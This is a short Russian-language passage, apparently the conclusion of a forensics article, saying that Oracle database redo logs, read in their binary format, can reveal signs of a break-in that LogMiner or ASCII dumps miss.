      Как мы можем увидеть, логи redo могут быть богатым источником доказательств для исследователя при изучении БД сервера Oracle. Имея возможность интерпретировать бинарный формат, можно открыть признак взлома, которые такие инструменты как Logminer или файлы ASCII дампов не могут показать.